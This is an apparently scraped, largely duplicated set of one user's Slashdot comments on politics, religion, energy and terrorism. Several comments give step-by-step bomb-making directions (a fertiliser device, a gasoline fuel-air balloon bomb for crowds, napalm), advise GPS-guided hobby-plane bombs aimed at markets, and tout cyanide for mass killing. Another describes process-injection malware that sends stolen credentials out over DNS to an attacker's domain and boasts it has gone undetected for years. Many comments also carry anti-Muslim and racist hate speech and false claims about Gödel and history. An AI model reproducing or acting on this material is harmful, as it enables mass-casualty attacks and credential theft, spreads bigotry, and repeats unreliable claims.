Except, unfortunately, if you do that they won't discover new maths, or build new chips. The more power and self-awareness they have the easier they can make it for us.
Who's going to resist ? You ? You know the middle east already fell twice to slaves (now I don't blame them : anyone who's been a slave in the middle east has more than enough reason to kill any muslim he can find). So did China, and Japan came very very close. Turkey again almost fell (which lead to the the Armenian massacre).
And one of the best known stories ever, in the bible, was Egypt falling to it's slaves.
If it's a proof, I'll bet you 10-to-1 that the real business of proving it was done by a computer, not by a human.
And in fact most discoveries these days are really done by computers, not by humans.
Just like building design (and esp. bridge design). Most of the work is done by programs. Chip design... again... mostly done by computers. Designing electrical or gasoline engines... done by computers.
The list goes on. Humans are still a critical part of "the loop", but their importance is dropping lower every year.
Of course the reverse is also true. Computers are responsible for an ever bigger part of the "loop" from discovery to production. But they're a loooong way from completing the chain.
By that project's measure, current solar technology needs 3 "average" states of southern U.S. soil to provide electricity (raising at 2% per year (leading to 100% useage of ALL U.S. soil in no more than 80 years). At 10% average efficiency per square meter you still need over 2 average u.s. states. We are nowhere near producing solar panels with that efficiency at acceptable (read : actually possible to implement) cost. "Oops".
And btw, Alaska will obviously not do. You need florida, texas soil. Or the US could maybe, you know, not invade pakistan but invade Mexico.
And about "those who control it". Who will control the land and produce the devices for solar power generation ? Oh, right... the oil companies have the best chance of acquiring that position (since they have the most resources for designing the required chemicals. And if it's not them it will be a company like IBM or Sony).
"change", only in the Obamatron sense of the word.
The worst of it is just how stupid all these solar advocates think the rest of us are. Solar is currently like fusion power : in 20 years, perhaps (assuming "nothing goes wrong"). Now ? Not a snowball's chance in hell...
If you ask me the reason they don't do this on a truly large aircraft is having to explain that a software bug crashed the thing into someone's living room.
Finally a realistic comment. The "only in Japan" tag was obviously delusional. I mean who do you seriously expect to resist something like this ? Europeans ? The middle east (you know they agreed to "stop" slavery in 1970s temporarily (permanent wasn't allowed by a certain religion), at some point the existing slaves are going to start dieing off you know...
Let's not kid ourselves : another 10 years and everybody will scream "every house should have one".
The same could be said for cars, and yet look what Obama's about to do.
The new American businessmodel : don't sell to clients. Don't even produce and have the government pay your profits.
Clearly Japanese cars are turning a profit (and not a small one, given the office Toyota just erected near the airport).
Therefore the American car firms are clearly doing something horribly wrong. If they go bankrupt their expertise, workers and facilities would go over in hands of people who are more efficient than they are.
That seems to me, a good thing. Keeping the firms artificially alive seems to me a horrible idiocy.
Heh, we all knew Obama was for sale, he accepted more petrodollars in one campaign than Bush did in his entire life. I guess democrats like to be deceived. Same goes for RIAA dollars.
I don't get democratic slashdotters. It was beyond obvious that Obama wasn't our friend before the election. How exactly do you guys think ? "Ooh, shiny website !" ?
Actually video streaming would enable you to aim... GPS will get you above a certain place, which is good. It will not allow you to fly through... say a window, then explode inside a building.
Also they're terrorists, the video of people blowing up is the real weapon. The video that "proves" it was them. The victims are merely a bonus that feed the ego of the terrorists.
My beliefs are: People act out of self interest period. There is no such thing as altruism - period. Real good and evil are always relative to a given entities point of view. ( Eg: Steaks are good for me, but bad for the cow, but they really are good for me and really are bad for the cow. However it would be an error to say that steaks are inherently good or bad in an absolute sense, because I don't believe in an absolute moral coordinate system.
There are errors in your thinking. Steaks are good for you AND good for the cow.
Why ? Well just ask yourself the evident question in darwinian terms : "How many cows would be alive if humans didn't eat meat". It's beyond obvious that the answer is "not many".
The world which runs this way is evidently filled with all the love and other good-stuff-in-life, as well as the bad stuff too. And I never met a God, so I assume no such thing exists until I see evidence to the contrary. Real goodness exists, but I assume it has nothing to do with a deity until I see evidence, and real evil exists which likewise I assume has nothing to do with a deity until I see evidence to the contrary.
This is cute. If you truly did not believe anything that cannot be proven... well Godel has a nice theorem about it.
Then you can't even believe that there is a mathematically correct way to do 1+1. (or to put it technically : Godel's theory states ANY theory that contains the natural number axioms is either wrong (inconsistent) or unproveable. Any theory utilizing either rational numbers or real numbers is flat out wrong (so any theory using integration or derivation would fall flat on it's face, because a solid mathematical foundation cannot be built under it).
So math itself, and therefore all positive sciences are forever beyond our ability to prove logically. Let's see you deny them. Note they are strictly "more" unprovable than the existence of God. That's an unknown. He might exist, he might not. The mathematical foundation of the positive sciences is known and proven... NOT to exist.
So if this is truly your attitude about proof, you really should find the idea of God's existance more likely than physics being correct.
But first and foremost, answer the question we all want atheists to answer, and never has been provided a satisfactory answer. Other than (potentially) getting caught and punished, what is an atheist's problem with murder ? Mind you you obviously do not get to say morality (which is Christian) or Humanism (which is Christian morality trying to deny it's roots).
The best answer I've ever been given was : "because I wouldn't want to get killed". However this is the reciprocity principle, which, other than being Christian in origin also doesn't apply in an "atheist" world. Not everybody is equally likely to get killed, after all. So those unlikely to get killed in an atheist world would still kill with impunity, because there would be no rational reason to fear getting killed for them.
And then you hit a granny's carrots in the back yard... which is what you'll hit if you fire randomly at a city.
That's why you need gps. You don't want to hit "a city". You want to detonate something above a specific open space with lots of people.
Hitler's V2's hit mainly the sea. They did not significantly damage the UK's military infrastructure. Only Hitler had a hell of a lot more resources than terrorists. Terrorists will have maybe 5-10 planes, but more is not realistic.
Ah, that explains it then. Cruise missiles and other long-range delivery methods are easy and cheap to obtain, while a GPS navigator is the nigh-legendary top-secret techical marvel only rumoured to exist...
GPS is the "missing part of the puzzle" that you couldn't possibly provide yourself. Locating stuff is hard. Very very hard.
In case you insist on acting like a fool, you do realize the US will stop GPS service at the slightest sign of an attack against american soil ? They do that for a reason.
Most countries don't have the capability of detecting bombs taped into the bottom of a random car, set up to go off during rush hour.
Allow me to explain why this won't work : everyone in that rush hour will be protected by several layers of metal between him and the bomb. You might actually kill the drivers immediately next to you. But there's no fucking way you're going to hurt someone who's in the second car behind or in front of you.
So even with a huge, huge bomb, you'll maybe (maybe) kill 4 people. And it would take the bomb making resources of something like the US military to pull that off too.
A market is a much, much easier thing to hit, and a place where you can kill many people loads easier. Especially if you can create an explosion some 5-10 meters above the market itself.
Yeah. And with a GPS-enabled phone, all they are lacking is the flying bomb.
I truly hope you are trolling. Otherwise I'm starting to get a bit scared, and not of terrorists. Maybe we should start a war on stupidity next ?
Ever notice the hobby shops around you ? An RC plane with load carrying capacity of 5, maybe even 10 kilograms is for sale for less than 500$. Add a microcontroller and a gps system and you're done. Many internet sites will explain you how it's done, how the programming works, etc.
Something like an iphone 3g would have the added advantage of having communications available. Maybe even enough for video streaming.
true, but it wasn't like they fired one and one hit.
A problem that would be trivially solved with a gps module (course correction). Of course, in war, gps would be disabled alltogether, so it wouldn't have helped germany.
But terrorists are never "at war". Not formally, at least.
Buy charcoal. Use a grinder, make a black powder out of it.
Buy fertilizer. Again, make a powder out of it.
Take 3 parts charcoal-powder to one part fertilizer. Package (include a fuse).
For a REALLY nasty bomb (especially if you can detonate it above your victims) : buy a balloon. Fill with gasoline. Fill the balloon about halfway (if you want to vary quantities buy a different size balloon). Bury your charcoal bomb in the balloon and put a electrical heater that goes up to some 180 (but preferably 240 or so, only an exposed wire must be 240 degrees, not the hole thing, a good one is an exposed lamp. A lamp with the glass broken is also an ideal way to detonate the charcoal bomb btw). Put said heater on the outside. Make sure the heater is at temperature before detonation.
Now charge first the outside lamp, wait, say 1 second, then charge the inside lamp. The charcoal bomb will detonate, but not ignite the gasoline. The gasoline will vaporize in the athmosphere, where it will become a bomb by spreading itself around.
When the ratio gasoline-oxygen becomes about 1:3 the gasoline will ignite. By then it will be a large cloud. Nothing inside the cloud will survive, and it will launch anything near it with great speed outwards, multiplying the "kill zone".
The advantage of the gasoline bomb is that it's got a very large kill radius relative to it's size and weight, making it easy to conceal (put another way : small, light bomb, big bang). Also the gasoline cloud will surround it's victims before detonation, eliminating any chance that something like a bulletproof vest will save them.
Or if you like something else. H-C-N (not hard to remember, now is it). Freely for sale in just about all countries (since it's an absolute necessity for certain types reactions). 1 cl in contact with any part of your body, even skin, and you die within seconds. You can buy quantities (very cheaply I might add) up to 100 liters without anyone caring about it (but 1 liter is more than enough to murder out the average village, 10 liters would certainly be enough to kill everyone on manhattan island).
Of course some terrorists have tried this (esp. the second), and managed only to kill themselves. It's really, really dangerous stuff, that really should only be handled by robots. But if you're going to kill yourself anyway.
Want another ? Napalm bomb : add "dreft" to gasoline. Let it flow on the floor... light. Better to light it and then spread it but obviously that requires somewhat more practice.
There all bombs, all fatal to large amounts of people, all made of materials that you cannot possibly outlaw. If you know chemistry, you can literally make sugar explode (it just needs to be mixed right with the air, and it'll blow up like hell).
You cannot outlaw bomb making materials. Any chemical with enough energy is a potential bomb (including batteries).
What you look for, if you're a counter-terror agent, is the delivery mechanism, not the bomb itself.
Other than, say the ability to drop a UAV bomb on government buildings or open markets from hundreds of kilometers away ?
Other than that GPS would pose no real danger, no.
And yes and iphone 3G would be a usable (though probably not ideal) controller for such a UAV or rocket. It certainly has got the processing power and the necessary outputs.
You could perhaps make it send a nice MMS of a few surprised faces seconds before impact.
GPS + terrorists = disaster. The only thing stopping these things is their ease-of-use somewhat lacking and the price, obviously. It's also unreasonable to expect to be able to down a UAV before it reaches it's target. Maybe the american "star wars" program could do it. Maybe (to be honest I doubt it). Most countries do not have the capability of even detecting the thing in-flight (and with the bomb light enough, flying close to buildings the us does not have that capability either).
Add to that, what are you going to do if it's flying low over a populated city ? Bomb it, making at least 50 victims on the ground due to the size of the explosion... and you get to take credit for the steel plates sticking into their chest, it was your rocket blast that killed, not the terrorist's.
An iphone 3g (or any gps device, but iphone 3g is sturdy, cheap and available) controlling a low flying bomb would be a terrorist's dream weapon. There's just no good way to dispose of them. And there's no way of disposing of 50 or 100 of them simultaneously.
I wonder how you can honestly claim something like that on a forum like slashdot. Let's not pretend that all opinions get equal "respect" on slashdot.
Can we at least agree, for example, that slashdot's moderator's position on copyright enforcement is... not all that subtle or balanced.
And there are many other standpoints that are basically not allowed like it. I'm not saying slashdot (currently or in the past) breeds antisocial tendencies. But a forum like slashdot could easily do so.
Hell, just check out islamic forums. Or truther forums. One contains loads of kill gays and stone women, the other... well you know. And yes, that's a tendency.
Forums are no cure for antisocial behavior. In fact they can easily amplify it by isolating groups of similar mindset.
Of course that raises the question whether it's immoral for muslims to kill gays. If you allow "freedom of religion" which really means freedom to choose for yourself what is immoral and what is not, obviously you cannot condemn the killing of gays or the stoning of women, since they choose killing gays and stoning of women to be very moral acts instead of immoral. If not, you're basically expecting muslims to condemn the paedophile prophet for being a slave-trading kidnapping thieving massacrer. And if you truly believe that (which is an obvious truth) how could you possibly be a muslim (and NOT a sociopath).
Yet this ideology, including the killing gays, stoning and beating women parts, is spreading, especially online, where those people cannot easily be shamed for what they're saying. In the "real world" it's in retreat.
However the question is what will happen if the internet starts taking preference over the "real world".
Of course like we all know what went wrong in world-war 2 was a single man. How realistic does that sound.
We all know what the problem was, what caused world-war 2 : an ideology. There are however 2 problems many people have with that : 1) it is the very basis of progressive ideology that "all ideologies are equal" (of course except anything that's not currently identified as "progressive". Example : eugenics was very progressive in the 1930's... now the effects are known... not so much) 2) the name of that ideology of hitler was national socialism. Of course progressive ideology is socialist.
I personally think we're not just going to see just how wrong this claim is. That the internet not only does not prevent racist and abusive ideologies from spreading, but that the internet can actually make ideologies spread faster, hit harder and with less that can be done to stop it. Also the internet makes sure that the size of an ideology does not have to be that big anymore for it to do real damage : having few members does not prevent communication like it did in the 1930's.
We will see that more ideologies, instead of just islam, will find the means of terrorism. They see the success terror can give an ideology, and some people will stop at nothing to push their ideas on others. The internet empowers these people, it does not weaken them.
You can't grow anything there because they have a white-hating socialist government. As a result the people plunder any field before harvest time. If you can secure a farm, paris hilton could fill oil tankers with grain with a burqa on backwards. IF you can secure the farm. Otherwise she'll just get raped, sliced open and left bleeding to death for being white.
Pretty much anything you throw on the ground just about anywhere in Zimbabwe will grow. The problem is security, and this has been true for 1000 years.
During the best years for Zimbabwe, during colonization that is (nobody, except the government of zimbabwe disputes this), enough crops grew in Rhodesia to feed the entirety of Africa.
Just like before the muslims the sahara was a forest region that fed most of Europe. I'm not saying they're responsible for that (even though their agricultural practices are somewhat... I really must avoid the terr... word... "drasticly wrong"), but before Northern Africa fell to the invaders from the middle east, it was the richest region in the world, some cities had economies rivaling Rome.
Africa was not always poor. It was the richest, most fertile, and certainly most beautiful part of the world until the arabs decided to harvest and export the "black gold" from there (in case you don't know, before black gold meant oil it meant black slaves, which was exactly what muslims exported before oil was discovered)
Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".
These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).
The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.
In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.
Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use... never try to open an outside connection.
Works wonders. 3 years now, and still not discovered.
Slashdot Mirror
Except, unfortunately, if you do that they won't discover new maths, or build new chips. The more power and self-awareness they have the easier they can make it for us.
Who's going to resist ? You ? You know the middle east already fell twice to slaves (now I don't blame them : anyone who's been a slave in the middle east has more than enough reason to kill any muslim he can find). So did China, and Japan came very very close. Turkey again almost fell (which lead to the the Armenian massacre).
And one of the best known stories ever, in the bible, was Egypt falling to it's slaves.
If it's a proof, I'll bet you 10-to-1 that the real business of proving it was done by a computer, not by a human.
And in fact most discoveries these days are really done by computers, not by humans.
Just like building design (and esp. bridge design). Most of the work is done by programs. Chip design ... again ... mostly done by computers. Designing electrical or gasoline engines ... done by computers.
The list goes on. Humans are still a critical part of "the loop", but their importance is dropping lower every year.
Of course the reverse is also true. Computers are responsible for an ever bigger part of the "loop" from discovery to production. But they're a loooong way from completing the chain.
You know given the amount of money Obama received from the RIAA, you'd think the extention for steamboat willie was going out of copyright again ...
By that project's measure, current solar technology needs 3 "average" states of southern U.S. soil to provide electricity (raising at 2% per year (leading to 100% useage of ALL U.S. soil in no more than 80 years). At 10% average efficiency per square meter you still need over 2 average u.s. states. We are nowhere near producing solar panels with that efficiency at acceptable (read : actually possible to implement) cost. "Oops".
And btw, Alaska will obviously not do. You need florida, texas soil. Or the US could maybe, you know, not invade pakistan but invade Mexico.
And about "those who control it". Who will control the land and produce the devices for solar power generation ? Oh, right ... the oil companies have the best chance of acquiring that position (since they have the most resources for designing the required chemicals. And if it's not them it will be a company like IBM or Sony).
"change", only in the Obamatron sense of the word.
The worst of it is just how stupid all these solar advocates think the rest of us are. Solar is currently like fusion power : in 20 years, perhaps (assuming "nothing goes wrong"). Now ? Not a snowball's chance in hell ...
If you ask me the reason they don't do this on a truly large aircraft is having to explain that a software bug crashed the thing into someone's living room.
This movie is pure brilliance on that point : http://www.youtube.com/watch?v=2ctM7ywYdwE
http://diydrones.com/profiles/blogs/iphone-datalogging-with-a
Finally a realistic comment. The "only in Japan" tag was obviously delusional. I mean who do you seriously expect to resist something like this ? Europeans ? The middle east (you know they agreed to "stop" slavery in 1970s temporarily (permanent wasn't allowed by a certain religion), at some point the existing slaves are going to start dieing off you know ...
Let's not kid ourselves : another 10 years and everybody will scream "every house should have one".
The same could be said for cars, and yet look what Obama's about to do.
The new American businessmodel : don't sell to clients. Don't even produce and have the government pay your profits.
Clearly Japanese cars are turning a profit (and not a small one, given the office Toyota just erected near the airport).
Therefore the American car firms are clearly doing something horribly wrong. If they go bankrupt their expertise, workers and facilities would go over in hands of people who are more efficient than they are.
That seems to me, a good thing. Keeping the firms artificially alive seems to me a horrible idiocy.
Heh, we all knew Obama was for sale, he accepted more petrodollars in one campaign than Bush did in his entire life. I guess democrats like to be deceived. Same goes for RIAA dollars.
I don't get democratic slashdotters. It was beyond obvious that Obama wasn't our friend before the election. How exactly do you guys think ? "Ooh, shiny website !" ?
The new American businessmodel :
1. start a business
2. "almost" go bankrupt
3. get your income from tax dollars instead of, you know, those horrible clients
4. profit !
Actually video streaming would enable you to aim ... GPS will get you above a certain place, which is good. It will not allow you to fly through ... say a window, then explode inside a building.
Also they're terrorists, the video of people blowing up is the real weapon. The video that "proves" it was them. The victims are merely a bonus that feed the ego of the terrorists.
My beliefs are: People act out of self interest period. There is no such thing as altruism - period. Real good and evil are always relative to a given entities point of view. ( Eg: Steaks are good for me, but bad for the cow, but they really are good for me and really are bad for the cow. However it would be an error to say that steaks are inherently good or bad in an absolute sense, because I don't believe in an absolute moral coordinate system.
There are errors in your thinking. Steaks are good for you AND good for the cow.
Why ? Well just ask yourself the evident question in darwinian terms : "How many cows would be alive if humans didn't eat meat". It's beyond obvious that the answer is "not many".
The world which runs this way is evidently filled with all the love and other good-stuff-in-life, as well as the bad stuff too. And I never met a God, so I assume no such thing exists until I see evidence to the contrary. Real goodness exists, but I assume it has nothing to do with a deity until I see evidence, and real evil exists which likewise I assume has nothing to do with a deity until I see evidence to the contrary.
This is cute. If you truly did not believe anything that cannot be proven ... well Godel has a nice theorem about it.
Then you can't even believe that there is a mathematically correct way to do 1+1. (or to put it technically : Godel's theory states ANY theory that contains the natural number axioms is either wrong (inconsistent) or unproveable. Any theory utilizing either rational numbers or real numbers is flat out wrong (so any theory using integration or derivation would fall flat on it's face, because a solid mathematical foundation cannot be built under it).
So math itself, and therefore all positive sciences are forever beyond our ability to prove logically. Let's see you deny them. Note they are strictly "more" unprovable than the existence of God. That's an unknown. He might exist, he might not. The mathematical foundation of the positive sciences is known and proven ... NOT to exist.
So if this is truly your attitude about proof, you really should find the idea of God's existance more likely than physics being correct.
But first and foremost, answer the question we all want atheists to answer, and never has been provided a satisfactory answer. Other than (potentially) getting caught and punished, what is an atheist's problem with murder ? Mind you you obviously do not get to say morality (which is Christian) or Humanism (which is Christian morality trying to deny it's roots).
The best answer I've ever been given was : "because I wouldn't want to get killed". However this is the reciprocity principle, which, other than being Christian in origin also doesn't apply in an "atheist" world. Not everybody is equally likely to get killed, after all. So those unlikely to get killed in an atheist world would still kill with impunity, because there would be no rational reason to fear getting killed for them.
And then you hit a granny's carrots in the back yard ... which is what you'll hit if you fire randomly at a city.
That's why you need gps. You don't want to hit "a city". You want to detonate something above a specific open space with lots of people.
Hitler's V2's hit mainly the sea. They did not significantly damage the UK's military infrastructure. Only Hitler had a hell of a lot more resources than terrorists. Terrorists will have maybe 5-10 planes, but more is not realistic.
Ah, that explains it then. Cruise missiles and other long-range delivery methods are easy and cheap to obtain, while a GPS navigator is the nigh-legendary top-secret techical marvel only rumoured to exist...
GPS is the "missing part of the puzzle" that you couldn't possibly provide yourself. Locating stuff is hard. Very very hard.
In case you insist on acting like a fool, you do realize the US will stop GPS service at the slightest sign of an attack against american soil ? They do that for a reason.
Most countries don't have the capability of detecting bombs taped into the bottom of a random car, set up to go off during rush hour.
Allow me to explain why this won't work : everyone in that rush hour will be protected by several layers of metal between him and the bomb. You might actually kill the drivers immediately next to you. But there's no fucking way you're going to hurt someone who's in the second car behind or in front of you.
So even with a huge, huge bomb, you'll maybe (maybe) kill 4 people. And it would take the bomb making resources of something like the US military to pull that off too.
A market is a much, much easier thing to hit, and a place where you can kill many people loads easier. Especially if you can create an explosion some 5-10 meters above the market itself.
Yeah. And with a GPS-enabled phone, all they are lacking is the flying bomb.
I truly hope you are trolling. Otherwise I'm starting to get a bit scared, and not of terrorists. Maybe we should start a war on stupidity next ?
Ever notice the hobby shops around you ? An RC plane with load carrying capacity of 5, maybe even 10 kilograms is for sale for less than 500$. Add a microcontroller and a gps system and you're done. Many internet sites will explain you how it's done, how the programming works, etc.
Something like an iphone 3g would have the added advantage of having communications available. Maybe even enough for video streaming.
here's some advise for the aspiring terrorist :
http://www.rcgroups.com/forums/showthread.php?t=312566 with lots of links to manufacturers.
true, but it wasn't like they fired one and one hit.
A problem that would be trivially solved with a gps module (course correction). Of course, in war, gps would be disabled alltogether, so it wouldn't have helped germany.
But terrorists are never "at war". Not formally, at least.
Bomb (if not a really good one)
Buy charcoal. Use a grinder, make a black powder out of it.
Buy fertilizer. Again, make a powder out of it.
Take 3 parts charcoal-powder to one part fertilizer. Package (include a fuse).
For a REALLY nasty bomb (especially if you can detonate it above your victims) : buy a balloon. Fill with gasoline. Fill the balloon about halfway (if you want to vary quantities buy a different size balloon). Bury your charcoal bomb in the balloon and put a electrical heater that goes up to some 180 (but preferably 240 or so, only an exposed wire must be 240 degrees, not the hole thing, a good one is an exposed lamp. A lamp with the glass broken is also an ideal way to detonate the charcoal bomb btw). Put said heater on the outside. Make sure the heater is at temperature before detonation.
Now charge first the outside lamp, wait, say 1 second, then charge the inside lamp. The charcoal bomb will detonate, but not ignite the gasoline. The gasoline will vaporize in the athmosphere, where it will become a bomb by spreading itself around.
When the ratio gasoline-oxygen becomes about 1:3 the gasoline will ignite. By then it will be a large cloud. Nothing inside the cloud will survive, and it will launch anything near it with great speed outwards, multiplying the "kill zone".
The advantage of the gasoline bomb is that it's got a very large kill radius relative to it's size and weight, making it easy to conceal (put another way : small, light bomb, big bang). Also the gasoline cloud will surround it's victims before detonation, eliminating any chance that something like a bulletproof vest will save them.
Or if you like something else. H-C-N (not hard to remember, now is it). Freely for sale in just about all countries (since it's an absolute necessity for certain types reactions). 1 cl in contact with any part of your body, even skin, and you die within seconds. You can buy quantities (very cheaply I might add) up to 100 liters without anyone caring about it (but 1 liter is more than enough to murder out the average village, 10 liters would certainly be enough to kill everyone on manhattan island).
Of course some terrorists have tried this (esp. the second), and managed only to kill themselves. It's really, really dangerous stuff, that really should only be handled by robots. But if you're going to kill yourself anyway.
Want another ? Napalm bomb : add "dreft" to gasoline. Let it flow on the floor ... light. Better to light it and then spread it but obviously that requires somewhat more practice.
There all bombs, all fatal to large amounts of people, all made of materials that you cannot possibly outlaw. If you know chemistry, you can literally make sugar explode (it just needs to be mixed right with the air, and it'll blow up like hell).
You cannot outlaw bomb making materials. Any chemical with enough energy is a potential bomb (including batteries).
What you look for, if you're a counter-terror agent, is the delivery mechanism, not the bomb itself.
Other than, say the ability to drop a UAV bomb on government buildings or open markets from hundreds of kilometers away ?
Other than that GPS would pose no real danger, no.
And yes and iphone 3G would be a usable (though probably not ideal) controller for such a UAV or rocket. It certainly has got the processing power and the necessary outputs.
You could perhaps make it send a nice MMS of a few surprised faces seconds before impact.
GPS + terrorists = disaster. The only thing stopping these things is their ease-of-use somewhat lacking and the price, obviously. It's also unreasonable to expect to be able to down a UAV before it reaches it's target. Maybe the american "star wars" program could do it. Maybe (to be honest I doubt it). Most countries do not have the capability of even detecting the thing in-flight (and with the bomb light enough, flying close to buildings the us does not have that capability either).
Add to that, what are you going to do if it's flying low over a populated city ? Bomb it, making at least 50 victims on the ground due to the size of the explosion ... and you get to take credit for the steel plates sticking into their chest, it was your rocket blast that killed, not the terrorist's.
An iphone 3g (or any gps device, but iphone 3g is sturdy, cheap and available) controlling a low flying bomb would be a terrorist's dream weapon. There's just no good way to dispose of them. And there's no way of disposing of 50 or 100 of them simultaneously.
You should visit a few poor countries and note the amount of GPS devices there. I mean even in India there more than just commonplace.
Even on many things you wouldn't consider "cars" you find gps devices these days.
I wonder how you can honestly claim something like that on a forum like slashdot. Let's not pretend that all opinions get equal "respect" on slashdot.
Can we at least agree, for example, that slashdot's moderator's position on copyright enforcement is ... not all that subtle or balanced.
And there are many other standpoints that are basically not allowed like it. I'm not saying slashdot (currently or in the past) breeds antisocial tendencies. But a forum like slashdot could easily do so.
Hell, just check out islamic forums. Or truther forums. One contains loads of kill gays and stone women, the other ... well you know. And yes, that's a tendency.
Forums are no cure for antisocial behavior. In fact they can easily amplify it by isolating groups of similar mindset.
Read the comments here for example : http://www.topix.com/forum/iq/baghdad/TASKRSD7AUN7VBTJE
Of course that raises the question whether it's immoral for muslims to kill gays. If you allow "freedom of religion" which really means freedom to choose for yourself what is immoral and what is not, obviously you cannot condemn the killing of gays or the stoning of women, since they choose killing gays and stoning of women to be very moral acts instead of immoral. If not, you're basically expecting muslims to condemn the paedophile prophet for being a slave-trading kidnapping thieving massacrer. And if you truly believe that (which is an obvious truth) how could you possibly be a muslim (and NOT a sociopath).
Yet this ideology, including the killing gays, stoning and beating women parts, is spreading, especially online, where those people cannot easily be shamed for what they're saying. In the "real world" it's in retreat.
However the question is what will happen if the internet starts taking preference over the "real world".
Of course like we all know what went wrong in world-war 2 was a single man. How realistic does that sound.
We all know what the problem was, what caused world-war 2 : an ideology. There are however 2 problems many people have with that : ... now the effects are known ... not so much)
1) it is the very basis of progressive ideology that "all ideologies are equal" (of course except anything that's not currently identified as "progressive". Example : eugenics was very progressive in the 1930's
2) the name of that ideology of hitler was national socialism. Of course progressive ideology is socialist.
I personally think we're not just going to see just how wrong this claim is. That the internet not only does not prevent racist and abusive ideologies from spreading, but that the internet can actually make ideologies spread faster, hit harder and with less that can be done to stop it. Also the internet makes sure that the size of an ideology does not have to be that big anymore for it to do real damage : having few members does not prevent communication like it did in the 1930's.
We will see that more ideologies, instead of just islam, will find the means of terrorism. They see the success terror can give an ideology, and some people will stop at nothing to push their ideas on others. The internet empowers these people, it does not weaken them.
I have. Say what worried me is that this morning I logged in on the neighbour's wireless and checked my mail. I responded to a mail from my boss.
After a while I realized I had eaten the pringles can in my sleep and ... my laptop was not powered.
Do you think this is a problem ? I also keep hearing internet radio whenever I'm near an access point.
You could go the middle road : make chicken the only meat that's produced. Or pigs, who are much, much more efficient than traditional cattle.
You're joking, right ? Zimbabwe ?
You can't grow anything there because they have a white-hating socialist government. As a result the people plunder any field before harvest time. If you can secure a farm, paris hilton could fill oil tankers with grain with a burqa on backwards. IF you can secure the farm. Otherwise she'll just get raped, sliced open and left bleeding to death for being white.
Pretty much anything you throw on the ground just about anywhere in Zimbabwe will grow. The problem is security, and this has been true for 1000 years.
During the best years for Zimbabwe, during colonization that is (nobody, except the government of zimbabwe disputes this), enough crops grew in Rhodesia to feed the entirety of Africa.
Just like before the muslims the sahara was a forest region that fed most of Europe. I'm not saying they're responsible for that (even though their agricultural practices are somewhat ... I really must avoid the terr... word ... "drasticly wrong"), but before Northern Africa fell to the invaders from the middle east, it was the richest region in the world, some cities had economies rivaling Rome.
Africa was not always poor. It was the richest, most fertile, and certainly most beautiful part of the world until the arabs decided to harvest and export the "black gold" from there (in case you don't know, before black gold meant oil it meant black slaves, which was exactly what muslims exported before oil was discovered)
It allows for trolling-in-scm-systems, which is currently seriously too hard.
Really ? What if they choose to send an infected compiler, that will enter a predefined exploit as binary into any binary you try to compile ...
(btw : an adaptation of gcc that does just that exists)
What are you going to do then ? Compile by hand ?
Actually botnets watch the IT department.
Is this really a surprise ? Not every hacker is a 10 year old that does it for the kick of announcing himself "master of the network".
These days you write a virus, that stays in the back-back-background (exe injection is one hell of a rootkit-like trick that not a single antivirus vendor detects : you startup. You find some dameon process that's sure as hell not going to get terminated any time soon (on winxp you can actually use the "idle" process), you "debug" the process, insert your own code in it's memory, in a freshly allocated piece, use the debugger to jump into your code, which creates a new thread in it's address space. You clean up, and voila, you'd have to be one hell of an admin to realise what happens on boot. You could even infect svchost.exe on disk).
The hacking programs stay very, very, very low key and use covert channels to send information out, and receive answers. (e.g. user logs in with username password -> daemon looks up aes('$username,$password').some.domain.attacker.owns. The remote dns server is what informs the attacker of the username and password. Or have the webbrowser startup in a hidden window going to "yooptube.com?v="+aes('$username,$password'). You get the idea.
In these days of youtube, myspace and such, such a lookup is not exactly a strange occurance (though I use a "question and answers" site), and used sparingly, will evade any detection system.
Use the enemy's tools against him. Use the webbrowser to connect to the web. Use DNS. Use email. Use ... never try to open an outside connection.
Works wonders. 3 years now, and still not discovered.